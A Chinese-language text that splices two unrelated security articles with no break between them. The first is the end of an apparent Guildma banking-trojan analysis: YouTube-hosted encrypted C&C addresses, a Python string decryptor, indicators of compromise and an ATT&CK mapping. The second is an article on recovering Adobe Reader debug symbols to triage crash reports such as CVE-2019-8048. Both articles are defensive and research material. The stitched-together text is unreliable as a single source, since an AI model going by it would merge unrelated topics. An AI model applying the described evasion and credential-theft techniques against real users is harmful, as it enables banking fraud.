在版本142中,实施了一种分销C&C服务器的新方法,即滥用YouTube和Facebook个人资料。但是,作者几乎是马上就停止使用Facebook了,在撰写本文时,攻击者完全依赖于YouTube。这与Casbaneiro有些相似,但有些粗糙。实际上,Casbaneiro会将数据隐藏在视频描述中,并将其混淆为URL的一部分,而Guildma只是将数据放置在频道描述中。加密的C&C地址的开始和结束都使用“|||”作为分隔。中间的数据使用Mispadu的字符串加密算法进行Base64编码和加密。现在,这是检索C&C服务器的主要方法。而老方法仍然作为备用。

YouTube上存储的加密Guildma C&C服务器域名:

9.png

6.2 添加和删除模块

先前描述的Jscript投放工具模块是在145版本中添加的。相反,在139版本中,Guildma删除了旧版本中存在的其他两个模块——mass mailer(*f.jpg)及其加载工具(*e.jpg)。在接下来的几个版本中,这些模块仍然可以通过与其他模块相同格式的名称(

6.3 新的字符串加密

Jscript投放模块使用了新的字符串加密算法。这个算法的一种变体已经在147版本的其他模块中使用。

def decrypt ( ct, key ):
       # stage 1
       ct = unhexlify ( ct );
       last = ct [ 0 ];
       s = bytearray ( ct [ 1 : ] );
       for i in range ( len ( s ) ):
              x = s [ i ] ^ key [ i % len ( key ) ];
              if last > x:
                     x += 0xff;
              x -= last;
              last = s [ i ];
              s [ i ] = x;
 
       # stage 2 - reverse string
       s = s [::-1];
 
       # stage 3 - c = not ( c - 10 )
       s = "" . join ( [ chr ( ( ~( c - 10 ) ) & 0xff ) for c in s ] );
 
       # stage 4 - Base25 decode and key subtraction
       k = ord ( s [ 0 ] ) - 65;
       ot = "";
       for i in range ( 1, len ( s ), 2 ):
              ot += chr ( ( ord ( s [ i ] ) - 65 ) * 25 + ord ( s [ i + 1 ] ) - 65 - k - 100 );
 
       return ot;

最初,Guildma使用与Casbaneiro相同的字符串加密。新算法分为四个阶段,原始的字符串加密算法仍然作为第一阶段。同样值得关注的是,第四阶段再次使用了Mispadu加密算法。

在148版本中,Guildma实现了字符串列表。所有字符串都在执行开始时被解密,并且根据需要从表格中查看。

6.4 移除国际目标

在138版本中,Guildma添加了针对巴西境外银行等机构的功能。尽管如此,我们还是没有观察到国际化的活动。在Cloudflare Workers的基础结构上托管文件的恶意活动,甚至可以阻止非巴西IP地址的任何下载。实际上,在过去的14个月中,我们还没有看到针对巴西境外用户的恶意活动。

最后,在145版本中,删除了针对巴西境外机构的功能。基于上述事实,我们认为这只是一个开发中的功能,最终被废弃了。

七、总结

在本文中,我们深入分析了一个最为流行的拉丁美洲银行木马Guildma,我们展现了该恶意软件丰富的发展历史,并重点关注最新的变种。

Guildma符合拉丁美洲银行木马的普遍特征。它使用Delphi编写,针对该地区,实现后门功能,并将其功能拆分成诸多模块,同时还滥用了合法的工具。

Guildma还与前面介绍的其他恶意软件家族具有很多共同的特征,其使用的加密算法结合了Casbaneiro和Mispadu所使用的算法。

八、威胁指标

8.1 SHA-1哈希值

45c58bc40768dce6a6c611e08fd34c62441aa77(主模块加载工具1,Win32/Spy.Guildma.BM)

861f20b0dcc55f94b4c43e4a7e77f042c21506cf(主模块注入工具,Win32/Spy.Guildma.BJ)

37fd19b1ab1dcc25e07bc96d4c02d81cf4edb8a1(主模块加载工具2,Win32/Spy.Guildma.Q)

a7b10b8de2b0ef898cff31fa2d9d5cbaae2e9d0d(主模块,Win32/Spy.Guildma.BS)

4f65736a9d6b94b376c58b3cdcb49bbd295cd8cc(联系人窃取工具和表单获取模块,Win32/Spy.Guildma.D)

6c9304c5862d4e0de1c86d7ae3764f5e8358daff(RAT模块-DLL,Win32/Spy.Guildma.BR)

89fbffe456de850f7abf4f97d3b9da4bad6afb57(RAT模块-EXE,Win32/Spy.Guildma.BR)

af0d495ecc3622b14a40ddcd8005873c5ddc3a2d(MailPassView,Win32/PSWTool.MailPassView.E)

92bcf54079cbba04f584eac4486473c3abdd88cd(WebBrowserPassView,Win32/PSWTool.WebBrowserPassView.E)

a2048f435f076988bf094274192a196216d75a5f(JScript投放工具模块,Win32/Spy.Guildma.BP)

8.2 文件名

C:\Users\Public\Libraries\qlanl\*

8.3 启动链接

位置:

%APPDATA%\Microsoft\Programs\StartUp\reiast%USERNAME%%COMPUTERNAME%.lnk

目标:

C:\Program Files (x86)\Internet Explorer\ExtExport.exe

C:\Program Files\Internet Explorer\ExtExport.exe

参数:

< install dir > < rand > < rand >

(其中的< rand >是由字母qwertyuiop1lgfdsas2dfghj3zcvbm生成的5到9个字符的随机字符串)

8.4 C&C服务器

https://www.zvatrswtsrw[.]ml

https://xskcjzamlkxwo[.]gq

https://www.vhguyeu[.]ml

https://www.carnataldez[.]ml

https://www.movbmog[.]ga

https://iuiuytrytrewrqw[.]gq

https://www.gucinowertr[.]tk

https://equilibrios[.]ga

https://www.clooinfor[.]cf

https://ambirsr[.]tk

https://dbuhcbudyu[.]tk

https://nvfjvtntt[.]cf

http://whia7g.acquafufheirybveru[.]online

九、MITRE ATT&CK技术

9.1 初始访问

鱼叉式附件(T1193):Guildma分销链是从恶意电子邮件附件开始。

9.2 执行

1、Rundll32(T1073):Guildma利用rundll32.exe执行其二进制模块。

2、Windows管理规范(WMI,T1047):Guildma滥用WMIC.exe来执行其某些分销链阶段。

9.3 持久性

注册表运行键/启动文件夹(T1060):Guildma通过在%STARTUP%文件夹中创建LNK文件来确保持久性。

9.4 防御逃避

1、BITS任务(T1197):BITSAdmin.exe用于下载二进制模块。

2、禁用安全工具(T1089):Guildma禁用Windows Defender。

3、反混淆/编码文件或信息(T1140):下载后,大多数Guildma模块都需要解密。

4、DLL侧加载(T1073):Guildma滥用ExtExport.exe进行DLL侧加载。

5、NTFS文件属性(T1096):Guildma利用ADS将其模块隐藏在磁盘上。

6、进程注入(T1055):Guildma在执行其模块时,利用进程注入的方法。

7、使用脚本(T1064):Guildma使用各种脚本语言(主要是Jscript)实现其分销链阶段。

8、XSL脚本处理(T1220):Guildma在其分销链中使用XSL脚本。

9.5 凭据访问

1、文件中的凭据(T1081):Guildma提取Web浏览器和电子邮件客户端在文件中存储的凭据。

2、注册表中的凭据(T1214):Guildma提取Web浏览器和电子邮件客户端在Windows注册表中存储的凭据。

9.6 发现

1、文件和目录发现(T1083):Guildma根据某些文件是否存在来确定是否安装了银行软件和安全工具。

2、应用程序窗口发现(T1010):Guildma使用窗口发现来查找并终止其较早版本,并检测和试运行了特定的程序(例如:银行应用程序或Web浏览器)。

3、安全软件发现(T1063):Guildma检测几种特定安全产品是否存在。

4、系统信息发现(T1082):Guildma收集操作系统版本的体系架构、计算机名称和系统区域设置。

5、虚拟化/沙箱逃避:Guildma根据目录名称、计算机名称、卷ID和命名对象是否存在来判断是否存在沙箱和虚拟化环境。

9.7 收集

屏幕截图(T1113):Guildma可以截取屏幕快照。

9.8 命令和控制

自定义加密协议(T1024):使用自定义加密算法对新的C&C地址进行加密。

9.9 渗出

通过命令和控制通道渗出(T1041):Guildma将屏幕截图和日志文件上传到C&C服务器。

前言

由于一些闭源客户端应用程序的源代码和其他辅助工具(例如调试符号)往往是无法直接访问的,这将阻碍研究人员对于客户端应用程序的安全性分析。正因如此,研究人员需要对软件进行完整的黑盒逆向工程,以便更好地了解其内部结构,并重构无法获知的上下文信息,这对于识别安全漏洞、对于崩溃的分类和去重来说是必要的。而逆向的过程可能会非常艰巨,除了测试程序安全性所花费的时间之外,研究人员还要额外花费大量的时间。

而另一方面,研究人员往往会有效利用所有可用的资源。对于发行历史比较悠久的成熟软件,其中的一大资源可能是程序的旧版本或当前支持其他平台的版本。尽管这些旧版本目前对普通用户来说几乎没有用,但其中可能包含对漏洞研究者来说非常宝贵的组件。在许多案例中,应用程序的核心部分往往并没有改变,或者只是略有改变。因此,我们如果能发现任何辅助信息,也许在某种程度上能适用于最新版本。鉴于以上思路,我建议所有安全研究人员在进行复杂的逆向之前首先开展一些“侦查”步骤,通过侦查也许能为以后节省大量时间和精力。

在本文中,我们首先针对1997-2013年之间发布的Unix家族系统中较旧版本的Adobe Reader附带的调试符号进行分析。这里的调试符号将有助于在逆向工程时了解Reader各个组件的内部工作原理,同时有助于在模糊测试的过程中对崩溃进行分类、去重等自动化任务。并且,在对macOS版本进行仔细研究后,我发现实际上有更多的调试元数据已经被放入到公开发行的安装程序之中,其中的一些数据是唯一的(其他符号源中不包含),或者比最新的Unix符号还要更新一些。考虑到这些新数据的价值,我们会在本篇文章的最后与各位读者分享。需要说明的是,我们可以从官方FTP服务器ftp.adobe.com以及HTTP服务器ardownload.adobe.com下载90年代至今的Adobe Reader历史版本。

Adobe Reader调试符号

我们通常需要的特定信息类型是调试符号。顾名思义,调试符号用于帮助开发人员调试应用程序,并且根据其不同类型,可能会显示出函数、枚举和源文件的内部名称,以及完整的函数原型、结构布局和其他有趣的数据。即使是最基本的符号类型(仅包括函数名称)也非常有帮助,因为借助这些可以观察汇编代码每个区域的特定用途,并且可以在对崩溃进行分类的过程中实现栈跟踪。

在Winodws上,Microsoft Visual C++(MSVC)编译器在外部.pdb文件中生成符号,例如:在与Program.exe相同的目录中创建的输出Program.pdb文件。据我所知,Adobe从未发布过与可执行程序和库相对应的pdb文件。较早的编译器还可以选择将DBG格式的符号嵌入到可执行文件中,但是我在Reader中没有发现任何符号,由此看来Windows版本似乎没有包含任何调试符号。

但是,在Linux、macOS和其他UNIX系列系统上,可以将符号直接嵌入可执行文件中,这样就使得厂商在发布已编译的软件时,可能会有意或无意地将符号“共享”出去。值得关注的是,这样的信息已经在社区中传播过一段时间(详情参考@nils 2013年发表的推文,以及Sebastian Apelt 2016年在XFA的演讲)。我们发现,这一点非常值得关注,并且可以更加广泛地让大家了解。

为了能完整描述实际情况,我决定对Adobe Reader各版本的可执行文件和库进行完整分析,我们所分析最早的版本可以追溯到1997年。我选择的组件是一些经常被研究或漏洞利用的组件,包括:Acroread(主程序)、AGM(Adobe图形管理器)、CoolType(打印引擎)、BIB(Bravo Interface Binder)、JP2K(JPEG2000核心库)和rt3d(3D Runtime)。

在以前,Adobe曾经针对各种基于Unix和类Unix的系统发布Reader,例如SunOS、IRIX、OSF/1、HP-UX、AIX和Linux。我们可以从HTTP服务器ardownload.adobe.com或FTP服务器ftp.adobe.com下载软件包的副本。具体而言,相对应的URL是ftp.adobe.com/pub/adobe/reader/unix和ftp.adobe.com/pub/adobe/acrobatreader/unix。在撰写本文时,第二个URL似乎无法访问,但其网站快照可以从https://web.archive.org获得。在其他位置,我们还找到了一些SunOS软件包。在获得了所有3.x版本的软件包之后,我列出了下表,该表中汇总了我的分析结果:

4.png

在2013年发布的5.5版本之后,Adobe Reader不再支持基于Unix的系统。如我们所见,上述所有模块在某些时间点(某些发布版本)中都包含可用的符号。对于CoolType,公共符号的最新版本是2005年的版本。对于其他组件,还存在2013年的最新版本。需要特别说明的是,即便是2005年版本的CoolType也非常有帮助,它帮助我理解了OpenType CharString解释器的内部结构,在2015年发现过一个字体相关的漏洞与之相关。

关于macOS,我最初认为针对该平台,只有JP2K和3D模块曾发布过调试信息。经过更详细的分析后,我发现这个假设是错误的,并且在Mac的Reader 7.x、8.x、9.x和DC版本中也找到了所有其他主要组件的符号。我们将在本文的后面部分重点分析macOS平台的Adobe Reader符号。

如何利用符号

我认为,符号有助于更好和更快地理解代码库,从而帮助我们对软件进行深入分析,或利用代码开展模糊测试。在这种情况下,我们实际上有两种选择:一是在审计和模糊测试期间,定位较旧版本的符号二进制文件,然后尝试在最新版本中重现结果;二是尝试将旧版本符号转移到新库中并对其进行操作。尽管后者听上去更靠谱一些(避免了潜在的误报和漏报),但我发现我们很难在不同时间,针对不同平台和使用不同编译器的两个相似模块之间移植符号。我已经测试过BinDiff和Diaphora。

另外一种选择是使用带有符号版本的并列视图,将名称复制到IDA,并检查特定的函数和对象。如果要对整个库进行这样的检查,往往会花费很多精力。举例来说,Reader中最新的JP2KLib.dll包含3300多个功能。但实际上,我们需要的只是符号中的一小部分。此外,随着我们逐步创建具有大量可识别符号的.idb,我们也可以将这些符号轻松的扩展到每个Patch Tuesday发布的新版本之中,因为相邻版本之间只有很小的变化。

我们来看一个例子。Project Zero Issue #1892是JP2KLib.dll库中的一个堆损坏漏洞。我们在Reader中打开poc.pdf文件后,WinDbg显示以下栈跟踪:

 [...]
JP2KLib!JP2KCopyRect+0x17ce9:
1111cee9 c6040100        mov byte ptr [ecx+eax],0       ds:002b:fff3a008=??
 
 
0:000> k
 # ChildEBP RetAddr 
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0473cb28 1111cfea JP2KLib!JP2KCopyRect+0x17ce9
01 0473cb8c 1111b4ff JP2KLib!JP2KCopyRect+0x17dea
02 0473cbf8 1111898e JP2KLib!JP2KCopyRect+0x162ff
03 0473cd7c 1110d2af JP2KLib!JP2KCopyRect+0x1378e
04 0473cdf0 1110d956 JP2KLib!JP2KCopyRect+0x80af
05 0473ce54 1110dc90 JP2KLib!JP2KCopyRect+0x8756
06 0473ce78 11125e4a JP2KLib!JP2KCopyRect+0x8a90
07 0473ced8 5fafb5be JP2KLib!JP2KImageDecodeTileInterleaved+0x2a
08 0473cf64 5fac449b AcroRd32!AX_PDXlateToHostEx+0x32046e
09 0473d05c 5f9d828d AcroRd32!AX_PDXlateToHostEx+0x2e934b
0a 0473d0a0 089ada8c AcroRd32!AX_PDXlateToHostEx+0x1fd13d
[...]

效果似乎不是太好。在这里,唯一正确识别的符号是JP2KLib!JP2KImageDecodeTileInterleaved,它是导出的函数。但遗憾的是,相同的崩溃无法在macOS上复现,因此我们无法从该位置轻松获得符号化的栈调用,但是我们仍然可以使用AdobeJP2K Mach-O文件在Windows上重新创建符号。我们在IDA中打开JP2KLib.dll和AdobeJP2K,并从JP2KImageDecodeTileInterleaved入口点开始:

5.png

6.png

我们可以清晰地将sub_1004DC58重命名为IJP2KImage::DecodeTile,或者更具体地说,将其重命名为__ZN10IJP2KImage10DecodeTileEiiiiiP14IJP2KImageData,这是该方法的C++名称。我们继续:

7.png

8.png

在这里,有两个重载的IJP2KImage::DecodeTile方法,在我们的例子中,第一个方法在进程崩溃时被调用。我们可以重命名sub_1004D91F并在其中查看:

9.png

10.png

毫无疑问,sub_1004D159是重载的IJP2KImage::DecodeTile的另外一种实现。我们可以对其进行重命名,并继续相同的步骤,直到到达崩溃的位置。在这种情况下,我们必须在Linux符号化版本libJP2K.so的栈跟踪中查找最高级函数的名称,因为它是由macOS构建中的编译器进行内联的。

一旦在数据库中命名了我们感兴趣的所有函数,我们就可以将IDA调试器与WinDbg后端结合使用,以再次在Adobe Reader中打开PoC文件。现在,看起来好多了:

11.png

我们寻找了从IDA导出符号信息的方法,以便可以在WinDbg中直接使用。我们推荐以下几个项目:

FakePDB(https://github.com/Mixaill/FakePDB)

ret-sync(https://github.com/bootleg/ret-sync)

IDA2Sym(https://github.com/siberas/IDA2Sym)

llvm-pdbutil(https://llvm.org/docs/CommandGuide/llvm-pdbutil.html)

arpwn scripts(https://github.com/bitshifter123/arpwn)

遗憾的是,上述都没有完全符合我的期望。其中一些是PoC/Ad-Hoc类型的工具,另外一些会抛出奇怪的错误,另外一些代码需要人工进行修改。在这一方面,似乎有一些工具上的盲区。由于没有找到理想的解决方案,因此我们还是暂时使用IDA调试器。

我们来看看另一个示例,Issue #1888,这次崩溃发生在CoolType.dll中:

CoolType!CTCleanup+0x22e92:
51ebd2a0 89048e          mov dword ptr [esi+ecx*4],eax ds:002b:520d4000=00000000
 
 
0:000> k
 # ChildEBP RetAddr 
WARNING: Stack unwind information not available. Following frames may be wrong.
00 052fc0f0 51ebd214 CoolType!CTCleanup+0x22e92
01 052fc12c 51ebdabd CoolType!CTCleanup+0x22e06
02 052fc16c 51ec8219 CoolType!CTCleanup+0x236af
03 052fc1a0 51e68e68 CoolType!CTCleanup+0x2de0b
04 052fc8c4 51e64051 CoolType!CTInit+0x460e1
05 052fc9a8 51e9e7bb CoolType!CTInit+0x412ca
06 052fcb00 51e9e47f CoolType!CTCleanup+0x43ad
07 052fcb7c 51e769cd CoolType!CTCleanup+0x4071
08 052fcd44 51e7619f CoolType!CTInit+0x53c46
09 052fce14 51e75091 CoolType!CTInit+0x53418
0a 052fd1dc 51e74728 CoolType!CTInit+0x5230a
0b 052fd21c 51e73751 CoolType!CTInit+0x519a1
0c 052fd388 51e732e4 CoolType!CTInit+0x509ca
0d 052fd3dc 52192182 CoolType!CTInit+0x5055d
0e 052fd724 52190fc8 AGM!AGMInitialize+0x69352
0f 052fd884 5215bcd0 AGM!AGMInitialize+0x68198
[...]

同样,栈追踪非常模糊。更糟糕的是,我们没有找到一个明显的入手点,因为AGM.dll调用的第一个CoolType函数不是导出符号。但是,当我们人工查看这些函数的反汇编时,基于我此前对于字体引擎的经验,我们发现CoolType!CTInit+0x460e1实际上是OpenType CharString解释器,它是这个库中最大的函数,其名称为DoType1InterpretCharString。在确定了其中的一个函数之后,就可以向上或向下跟踪调用栈,以尝试匹配其他名称。在这种情况下,我们可以使用Reader 4和Reader 5中的CoolType符号、 Microsoft在DWrite.dll和fontdrvhost.exe映像中使用的符号、Apple在libType1Scaler.dylib库中使用的符号。它们都共享许多相同的OpenType处理代码。

我们对函数进行重命名,并使用poc.pdf在IDA调试器中再次运行Reader。这一次,在发生异常时,我们看到了以下的调用栈:

12.png

如上图所示,我们已经成功重构了大多数CoolType栈的跟踪条目。到这一步为止,我们还不能匹配ATMBuildBitMap的符号,因为它是通过无法跟踪的间接调用来实现调用的。并且,目前还无法识别出任何祖先(Ancestor)函数。尽管如此,对8个最高级别名称进行解码还是非常有帮助的,它可以帮助我们更好地理解受影响的代码,以及该代码为什么无法处理格式错误的数据。

分析核心Acrobat Mach-O映像

以下是macOS版本Reader六个核心组件的细分,其中明确了各组件在每个已发布软件版本中是否都包含符号。为简洁起见,该表格仅从2005年的7.x版本开始列举,在这个版本中,调试信息首次出现:

1.png

如表格注释所述,在8.x和9.x发行版本的子版本之间,某些模块的符号存在较大差异。这两个主要版本的详细表格如下所示:

2.png

显然,Reader Mach-O可执行文件中隐藏了许多有用的信息,其中8.x和9.x版本是调试数据较多的版本。与之前从Unix文件中提取的数据进行对比,我们得到以下信息:

1、3D模块(7.x版本)和CoolType字体引擎(9.x版本)采用stabs格式的专用符号。其中不仅包括函数和全局变量名称,还包括源文件路径、与汇编代码块相对应的源行号、局部变量名称、结构定义、枚举等。这类元数据为我们提供了一些非常详细而准确的信息,有助于掌握代码的工作原理。据我所知,这两个库的私有符号暂时无法从其他公开来源获得,因此这部分内容将帮助对内部工作原理感兴趣的研究人员了解此软件。

2、在8.x和9.x版本中,Acrobat、AGM、CoolType和BIB模块的符号通常比Unix上最新符号版本更新。此外,出于崩溃重复删除或根本原因分析的目的,我们发现在macOS上运行的Reader 9比在SunOS/Solaris上的Reader 9或在AIX/HP-UX上的Reader 7更容易运行,因为前者是更为常见的平台。

3、最后,在DC版本15.006.30033(2015年3月)到15.016.20045(2016年6月)之间,没有分离AGM组件,这也是与此前(从2007年开始,AIX/HP-UX 7.x版本的符号)相比更新的信息来源。

在其中,我们认为私有的CoolType符号可能会附带最为有趣和实用的信息。之所以这么说,是因为它不仅适用于Reader和其他Adobe产品,并且还适用于共享相同字体光栅化代码的所有其他库和系统组件,例如:Windows内核驱动程序(win32k.sys、atmfd.dll)、Windows DirectWrite库(dwrite.dll)、macOS字体库(libTrueTypeScaler.dylib、libType1Scaler.dylib)和JRE t2k字体光栅化程序(libt2k.so等)。接下来,我们将更深入地研究在AdobeCoolType的调试版本中找到的数据类型,尝试对其进行提取,并分析如何有意义地利用这些数据。

深入研究CoolType符号

在各种版本的Reader 9.x中,我们总共发现了17个独特的AdobeCoolType文件,其中包含stabs格式的调试数据。该格式主要是文本格式,因此,如果我们分析文件的末尾,我们将看到类似于以下转储的数据:

parseSeacComponent:f(0,1).h:P(0,17).stdcode:P(0,1).offset:r(0,3)....t1cParse:F(0,1).offset:p(0,3).aux:p(0,27).glyph:p(0,28).h:(0,19).offset:r(0,3).aux:r(0,27).glyph:r(0,28)....t1cDecrypt:F(0,1).lenIV:p(0,1).length:p(2,29).cipher:p(4,36).plain:p(4,36).lenIV:r(0,1).length:r(2,29).r:r(0,9).cnt:(0,3)..c1:(0,11).....t1cUnprotect:F(0,1).lenIV:p(0,1).length:p(2,29).cipher:p(4,36).plain:p(4,36).lenIV:r(0,1).length:r(2,29).single:r(0,11).r1:(0,9).r2:(0,9).cnt:(0,3)..c1:r(0,11).....:t(0,35)=*(0,36).ctlVersionCallbacks:t(0,36)=(2,19)._errstrs.4964.t1cErrStr:F(4,36).errcode:p(0,1).errstrs:V(0,37).errcode:r(0,1)...:t(0,37)=ar(9,27);0;18;(4,36)...

该代码片段展现了来自开源AFDKO库的名称,该库被编译到CoolType中。调试段的其他部分揭示了更多有趣且未被公开过的数据,例如Type1InterpretCharString的详细栈布局。在2015年发布的版本中,主要的Postscript CharString解释器函数存在一些问题:

Type1InterpretCharString:F(5,29).inst:p(38,37).pProcs:p(41,28).pCharDataDesc:p(0,48).pCharIO:p(41,15).pRunData:p(41,13).pPathProcs:p(0,49).pT1Args:p(0,50).etod_path:(38,117).etod_arg:(45,3).status:(0,51).temp_flags:(5,18).did_retry:(5,1)..moveto_lineto_index:r(5,29)...Exception:(13,3)..pPathProcs:(42,6)..substack:(0,52).psstack:(0,53).flexCds:(0,54).hints:(0,55).hint3:(0,56).vStemCount:(5,29).op_stk:(41,10).op_sp:r(5,37).sp:r(38,46).cp:(5,39).wid:(5,39).tempfcd:(5,39).dcp:(5,39).delta:(5,39).i:r(5,15).indx:(5,15).sby:(5,35).dmin:(5,35).subindex:(5,15).tfmLockPt:(0,57).flags:(5,18).accentClipBBox:(5,47).pTempClipBBox:(42,5).prevcp:(5,39).initcp:(5,39).

这里的信息量比较大——在Reader 9.5.5版本的AdobeCoolType文件(6.35MB大小)中,仅各种调试字符串就占据了1.78MB。遗憾的是,IDA Pro和Ghidra似乎没有解析stabs,因此尽管我们在这些反汇编程序中看到了函数和全局名称,但其类型(结构、共用体、枚举、类型定义)和局部变量名称将不会导入。

最终,我成功使用了OS X老版本的objdump和gdb实用程序,后者非常强大。在我的测试环境中,我在MacOS 10.6.8(Snow Leopard)上安装了Adobe Reader 9.5.5版本。然后,在gdb中启动Reader时,看到以下输出:

tests-Mac:~ test$ gdb /Applications/Adobe\ Reader\ 9/Adobe\ Reader.app/Contents/MacOS/AdobeReader
 
[...]
 
(gdb) r
Starting program: /Applications/Adobe Reader 9/Adobe Reader.app/Contents/MacOS/AdobeReader
Reading symbols for shared libraries .+++............................................................................................ done
Reading symbols for shared libraries ...
 
[...]
 
warning: Could not find object file "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/build/MT_Release_Symbols/cooltype5.build/Universal/MT_Release_Symbols.build/Objects-normal/i386/CT_CTS_OpenType.o" - no debug information available for "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/cts/cts_glue/CT_CTS_OpenType.cpp".
 
warning: Could not find object file "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/build/MT_Release_Symbols/cooltype5.build/Universal/MT_Release_Symbols.build/Objects-normal/i386/CT_CTS_StreamFromBuffer.o" - no debug information available for "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/cts/cts_glue/CT_CTS_StreamFromBuffer.c".
 
....... done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries ... done

调试器成功加载了应用程序和嵌入式符号,但提示缺少对象和源文件。如果存在对象和源文件,那么这样的构建版本通常就可以在开发人员的主机上进行调试。此时,我们可以使用以下gdb命令来方便地转储各种类型的常规信息:

info functions:列举在已加载模块中找到的所有函数,或打印有关特定函数的信息

info line:打印源代码文件中特定行的信息

info sources:列举源文件名

info types:列举所有已知类型

info variables:列举所有全局和静态变量名称

这已经提供给我们了很多信息。例如,我们可以回到最关注的函数并进行查找:

(gdb) info functions Type1InterpretCharString
All functions matching regular expression "Type1InterpretCharString":
 
File /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c:
IntX Type1InterpretCharString(PFontInst, BCProcs *, T1CharDataDesc *, CharIO *, RunRec *, PathProcs * volatile, T1Args * volatile);
(gdb)

我们可以在其中设置一个断点,并了解它在源代码中的哪一行被声明:

(gdb) b Type1InterpretCharString
Breakpoint 1 at 0x7d853e5a: file /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c, line 7037.
(gdb)

我们可以在特定行上获取更多信息:

(gdb) info line /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c:7037
Line 7037 of "/Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c" starts at address 0x7d853e5a  and ends at 0x7d853e80 .
(gdb)

最终,我们可以检查一种函数参数类型的定义,例如PFontInst结构指针:

(gdb) ptype PFontInst
type = struct _t_FontInst {
    Card16 gridRatio;
    Card16 xAlign;
    Fixed flatnessFactor;
    FixMtx tfmMtx;
    Card32 lenStemSnapV;
    Fixed stemSnapV[48];
    Card32 lenStemSnapH;
    Fixed stemSnapH[48];
   [...]
    Fixed accentHintedWidth;
    Fixed accentCSadjust;
    Fixed accentDSdx;
    Fixed blueStdHW;
    Card32 instructions;
    boolean boostNeeded;
    Card16 boostPhase;
    Card16 fontType;
} *
(gdb) print sizeof(struct _t_FontInst)
$2 = 1020
(gdb)

Issue #1888漏洞分析(CVE-2019-8048)

对全局信息的枚举可能会提供非常有帮助的信息,并能够解决人们在逆向字体光栅化程序过程中可能遇到的许多问题。但是,符号的真正作用在于实时调试期间可用的上先问信息。在之前的章节中,我们尝试利用Issue #1888的PoC触发崩溃并恢复栈跟踪。这是我们得到的结果:

3.png

当我们在macOS Adobe Reader 9.5.5版本中加载相同的PDF时,可以在gdb得到以下内容:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xff978034
0x7d87e018 in FixOnePath (maxStem=void, cs=0x7d9dbe98, expansionFactor=3932) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c:787
787     /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c: No such file or directory.
        in /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c
 
(gdb) bt
#0  0x7d87e018 in FixOnePath (maxStem=void, cs=0x7d9dbe98, expansionFactor=3932) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c:787
#1  0x7d87ed67 in GlobalColoring (stems=void, counters=0x0, b3=0xbfffa858, expansionFactor=3932, numCounters=15, numStems=14, pClientHook=0xbfffa764) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/glbclr.c:608
#2  0x7d85891b in Type1InterpretCharString (inst=0xd6a704, pProcs=0xbfffa748, pCharDataDesc=0xbfffa910, pCharIO=0xbfffa8e0, pRunData=0xbfffa728, pPathProcs=0xbfffa544, pT1Args=0xbfffa6c8) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/t1interp.c:3874
#3  0x7d83b1d8 in BuildRuns (inst=0xd6a704, pCharDataDesc=0xbfffa910, pCharIO=0xbfffa8e0, pClipBBox=0x0, pRunData=0xbfffa728, pCallbackProc=0xbfffa748, pClientHook=0xbfffa764, rFlags=33) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/atmbuild.c:384
#4  0x7d83b39c in ATMBuildBitMap (pFontInst=0xd6a704, pCallbackProc=0x7d9d9e24, pCharDataDesc=0xbfffa910, pCharIO=0xbfffa8e0, pClipBBox=0x0, pBitMap=0xbfffa994, pClientHook=0xb83ab4) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/buildch/sources/atmbuild.c:625
#5  0x7d73bc9f in ATMCGetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#6  0x7d73b517 in Render::RenderToGlyphMap () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#7  0x7d739d0c in FontInstanceCache::GetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#8  0x7d739239 in FontInstanceCache::GetGlyphMaps () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
